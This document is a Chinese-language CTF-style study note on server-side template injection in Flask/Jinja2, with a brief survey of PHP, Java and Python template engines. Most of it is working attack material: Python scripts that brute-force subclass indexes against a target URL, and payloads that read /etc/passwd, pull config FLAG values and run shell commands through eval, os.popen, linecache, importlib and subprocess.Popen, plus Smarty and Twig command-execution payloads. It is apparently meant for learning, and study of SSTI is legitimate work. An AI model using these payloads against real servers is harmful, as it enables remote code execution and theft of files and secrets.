python flask Jinja2模板学习
分类很好的一篇文章
Jinja2模板语法
Jinja2里常见的三种定界符:
- (1) 语句 {% ... %}
- (2) 表达式 {{ ... }}
- (3) 注释 {# ... #}
{%set a='dazhaung'%} 语句设置变量
{{a}} 表达式
{% if 2>1 %}控制语句以{%endif%}结尾
Jinja2支持使用“.”获取变量的属性,比如user字典中的username键值通过“.”获取,即user.username 等同于 user['username']。
python 类的基础知识
所有类的最终父类都是object,漏洞是通过找到父类下的执行函数命令执行
魔法方法
__class__ 查找当前类型的所属对象
__base__ 沿着父子类的关系往上走一个
__mro__ 查找当前类对象的所有继承类
__subclasses__() 查找父类下的所有子类
__init__ 查看类是否重载,重载实质程序运行是就已经加载好了这个模块到内存中,如果出现wrapper,说明没有重载
__globals__ 函数会以字典形式返回当前对象的全部全局变量
__builtins__提供对python的所有内置标识符的直接访问
eval计算字符串表达式的值
popen()执行一个shell以运行命令
一、文件读取 多配合pin码
step1:脚本读取 _frozen_importlib_external.FileLoader
import requests
url = input('请输入 URL : ')
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
step2: 直接利用其 get_data() 函数即可。
get_data() 利用时第一个参数为 0 ,第二个参数为文件路径即可。
0:这是一个参数,表示要加载的文件的模块名称。在这里,0 表示没有特定的模块名称,而是直接指定文件路径。
name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
二、RCE 远程代码执行
1. 利用含有内建函数eval的__builtins__
模块执行命令
内建函数:python 在执行脚本时自动加载的函数,可通过 __builtins__
进行直接访问
step1: 脚本查找首可以利用内建函数 eval 的模块:
import requests
url = input("请输入 URL:")
for i in range(500):
# payload 中需要先初始化再列出所有全局变量
data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "eval" in response.text:
print(i)
step2: 利用内建函数 __builtins__寻找eval() 和 popen() 或者file 执行系统命令
利用内嵌函数eval进行命令执行
name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
利用file函数进行读取
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}
2. os 模块执行系统命令 hackbar里边都有
2.1 在 flask 其他函数中直接调用 os 模块(flask 内嵌)
- 通过 config
-
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
- 通过 url_for()
{{url_for.__globals__.os.popen('ls').read()}}
等价于
{{url_for.__globals__['os'].popen('ls').read()}}
注意区别 os是__globals__中的一个模块,可以用字典引用,而popen('ls')中ls是参数不能用 .ls替换
- 通过 lipsum()
{{lipsum.__globals__.os.popen('cat flag').read()}}
2.2 在已经加载 os 模块的子类里直接调用 os 模块
(1)寻找含有 os 模块的类
step1: 脚本查找含有os的类 <class 'os._wrap_close'> <class 'subprocess.Popen'>
老规矩,先用脚本查找哪些子类已经加载 os 模块
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "os.py" in response.text:
print(i)
step2: 构造 payload
{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
(2) linecache 函数执行命令
linecache 函数用于读取一个文件的某一行。这个函数加载了 os 模块,因此可以用来执行命令。
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "linecache" in response.text:
print(i)
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
# 等价于
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"].os.popen("ls -l /").read()}}
3.其他
读取配置文件中的FLAG
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
利用warnings.catch_warnings 进行命令执行
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
4.寻找类加载os的类来执行os
(1)importlib 类执行命令
可使用该类的 load_module 方法加载 os 模块。
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "_frozen_importlib.BuiltinImporter" in response.text:
print(i)
step2: 构造 payload
{{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
注意这里的('os')是一个参数,意思是加餐os模块,不能用['os']或者.os.替换
(2) subprocess.Popen 类执行命令
subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "subprocess.Popen" in response.text:
print(i)
{{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
常见的模板引擎有
.php 常用的
Smarty
Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛
Twig
Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。
Blade
Blade 是 Laravel 提供的一个既简单又强大的模板引擎。
和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。
2.Java 常用的
JSP
这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典
FreeMarker
FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
Velocity
Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。
3.Python 常用的
Jinja2
flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎
django
django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了
tornado
tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发
1.smarty模板注入常用标签
{php}:
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签
但是这个也是要分版本的,Smarty已经废弃{php}标签,强烈建议不要使用
{}
直接输入php命令即可:
{system(‘ls’)}
2.Twig模板注入
// Jinja2
{{7*7}}
{{7*'7'}} -> 7777777
// Twig
{{7*7}}
{{7*'7'}} -> 49
payload:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls")}}